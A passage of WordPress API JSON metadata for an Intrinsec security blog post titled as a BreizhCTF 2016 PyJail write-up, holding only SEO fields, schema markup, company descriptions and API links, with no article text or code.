intrinsec\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UC0trUZAHNZOUbxYnNdecM4A\"],\"description\":\"soci\u00e9t\u00e9 de consulting, pure player cybers\u00e9curit\u00e9 fran\u00e7ais et europ\u00e9en depuis plus de 30ans, sp\u00e9cialiste dans la s\u00e9curit\u00e9 offensive & audit (pentest\\\/red team), GRC, et services IMSS comme le SOC, CTI et CERT Intrinsec est qualifi\u00e9 PASSI Elev\u00e9, PRIS Elev\u00e9 et PACS par l'ANSSI\",\"email\":\"contact@intrinsec.com\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\",\"name\":\"Intrinsec\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g\",\"caption\":\"Intrinsec\"},\"sameAs\":[\"https:\\\/\\\/www.intrinsec.com\"],\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/en\\\/author\\\/ufhtbqccsz\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3 - INTRINSEC","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.intrinsec.com\/en\/breizhctf-2016-write-up-pyjail-1-2-3\/","og_locale":"en_US","og_type":"article","og_title":"BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3","og_description":"Nous avons r\u00e9pondu pr\u00e9sent au BreizhCTF 2016 organis\u00e9 par La Meito, @SaxX et @Kaluche. Nous [&hellip;]","og_url":"https:\/\/www.intrinsec.com\/en\/breizhctf-2016-write-up-pyjail-1-2-3\/","og_site_name":"INTRINSEC","article_published_time":"2016-05-17T13:38:57+00:00","author":"Intrinsec","twitter_card":"summary_large_image","twitter_creator":"@Intrinsec","twitter_site":"@Intrinsec","twitter_misc":{"Written by":"Intrinsec","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#article","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/"},"author":{"name":"Intrinsec","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799"},"headline":"BreizhCTF 2016 &#8211; Write-Up &#8211; PyJail 1, 2, 3","datePublished":"2016-05-17T13:38:57+00:00","mainEntityOfPage":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/"},"wordCount":1006,"commentCount":0,"publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"image":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#primaryimage"},"thumbnailUrl":"","keywords":["breizhctf"],"articleSection":["S\u00e9curit\u00e9 offensive &amp; Audit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/","url":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/","name":"BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3 - INTRINSEC","isPartOf":{"@id":"https:\/\/www.intrinsec.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#primaryimage"},"image":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#primaryimage"},"thumbnailUrl":"","datePublished":"2016-05-17T13:38:57+00:00","breadcrumb":{"@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#primaryimage","url":"","contentUrl":""},{"@type":"BreadcrumbList","@id":"https:\/\/www.intrinsec.com\/breizhctf-2016-write-up-pyjail-1-2-3\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.intrinsec.com\/"},{"@type":"ListItem","position":2,"name":"BreizhCTF 2016 &#8211; Write-Up &#8211; PyJail 1, 2, 3"}]},{"@type":"WebSite","@id":"https:\/\/www.intrinsec.com\/#website","url":"https:\/\/www.intrinsec.com\/","name":"INTRINSEC","description":"Our job is to protect yours.","publisher":{"@id":"https:\/\/www.intrinsec.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.intrinsec.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.intrinsec.com\/#organization","name":"INTRINSEC","alternateName":"ISEC","url":"https:\/\/www.intrinsec.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","contentUrl":"https:\/\/www.intrinsec.com\/wp-content\/uploads\/2025\/02\/libellule.png","width":1322,"height":1322,"caption":"INTRINSEC"},"image":{"@id":"https:\/\/www.intrinsec.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/Intrinsec","https:\/\/fr.linkedin.com\/company\/intrinsec","https:\/\/www.youtube.com\/channel\/UC0trUZAHNZOUbxYnNdecM4A"],"description":"Intrinsec, a consulting firm and pure-play French and European cybersecurity provider for over 30 years, specializes in offensive security and auditing (penetration testing\/red teams), GRC, and IMSS services such as SOC, CTI, and CERT. Intrinsec is qualified at PASSI High, PRIS High, and PACS levels by ANSSI.","email":"contact@intrinsec.com"},{"@type":"Person","@id":"https:\/\/www.intrinsec.com\/#\/schema\/person\/ade590fbc7ad6f413727bae7cd3fb799","name":"Intrinsic","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/fde6ed961c7078765b03a213927b5c4001b1cef4787255188f5b502a99e6ddd6?s=96&d=retro&r=g","caption":"Intrinsec"},"sameAs":["https:\/\/www.intrinsec.com"],"url":"https:\/\/www.intrinsec.com\/en\/author\/ufhtbqccsz\/"}]}},"_links":{"self":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/228084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/comments?post=228084"}],"version-history":[{"count":0,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/posts\/228084\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/media?parent=228084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/categories?post=228084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.intrinsec.com\/en\/wp-json\/wp\/v2\/tags?post=228084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}